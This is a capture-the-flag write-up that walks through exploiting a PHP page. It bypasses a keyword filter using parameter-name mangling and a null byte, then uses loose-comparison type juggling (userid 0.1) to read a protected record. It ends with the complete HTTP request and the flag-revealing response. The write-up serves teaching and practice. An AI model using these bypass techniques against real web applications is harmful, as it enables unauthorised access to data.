In this challenge we were given the source of a vulnerable PHP page and were tasked with the exploitation.

Challenge Description

Our Solution

First, here is the source code:

<?php
	$dataset = [
		0 => ['Blaklis', 'The flag is INS{snip}.'],
		1 => ['Lambda guy', 'We don\'t have anything interesting to say'],
		2 => ['Lambda guy 2', 'We still do not say anything interesting'],
		3 => ['Lambda guy 3', 'PHP is the best language ever!']
	];

	$block = (function($request) {
		$blocked = FALSE;
		$keywords = ['_', 'admin=', '\'', '"', '[', ']', '\\', " ", chr(9),chr(10),chr(11),chr(12),chr(13),chr(133),chr(160),"%"];
		foreach($keywords as $keyword)
			if(strpos(urldecode($request),$keyword) !== FALSE)
				$blocked = TRUE;
		return ($_SERVER['REMOTE_ADDR'] === '127.0.0.1') ? FALSE : $blocked;
	})($_SERVER['REQUEST_URI']);
	!$block?:die('Die by the WAF!');
	
	if($_SERVER['REQUEST_METHOD'] === 'POST' && $_GET['is_admin'] == 1) {
		$data = str_replace(" ","",file_get_contents("php://input"));
		$datablock = (function($post_data) {
			$blocked = (strlen($post_data) > 30 || !($a = json_decode($post_data)));
			return $blocked;
		})($data);
		!$datablock?:die('Die by the WAF!');
		$a = (array)json_decode($data);

		if(isset($a['userid']) && ($a['userid'] != 0 || $_SERVER['REMOTE_ADDR'] === '127.0.0.1')) {
			if(isset($dataset[$a['userid']])) {
				echo "It's name is ".$dataset[$a['userid']][0]." and he would like to say : ".$dataset[$a['userid']][1];
				exit;
			}
		}
	}

	die('Die by... nothing?');

There were 3 things to take into account:

  1. The block() function on line 9-17 while maintaining is_admin=1 to fulfill condition on line 19
  2. The length limitation and the fact that the POST body must be valid JSON data (line 22)
  3. The fact that we want to access the element 0 of the $dataset array although the userid parameter cannot be equal to 0 (line 28)

To do that we must exploit several tricks of PHP. First is appears that PHP replaces some characters by _ when present in URL parameters. This could be used to bypass the underscore filter. We can bypass the “admin=” filter with a null byte. Then we have to play with PHP loose comparison to make it such that the userid is 0 and not 0 at the same time. This can be achieved by using 0.1 (floating point value). It will be evaluated as not zero when comparing but truncated to 0 when used as an integer array index.

The final request is as follows:

POST /?is.admin%00=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,fr;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
X-Http-Forwarded-For: 127.0.0.1
Content-Length: 14

{"userid":0.1}

And the response containing the flag:

HTTP/1.1 200 OK
Date: Fri, 23 Mar 2018 18:31:30 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 81
Connection: close
Content-Type: text/html; charset=UTF-8

It's name is Blaklis and he would like to say : The flag is INS{PHP_1s_4d0r4bl3}.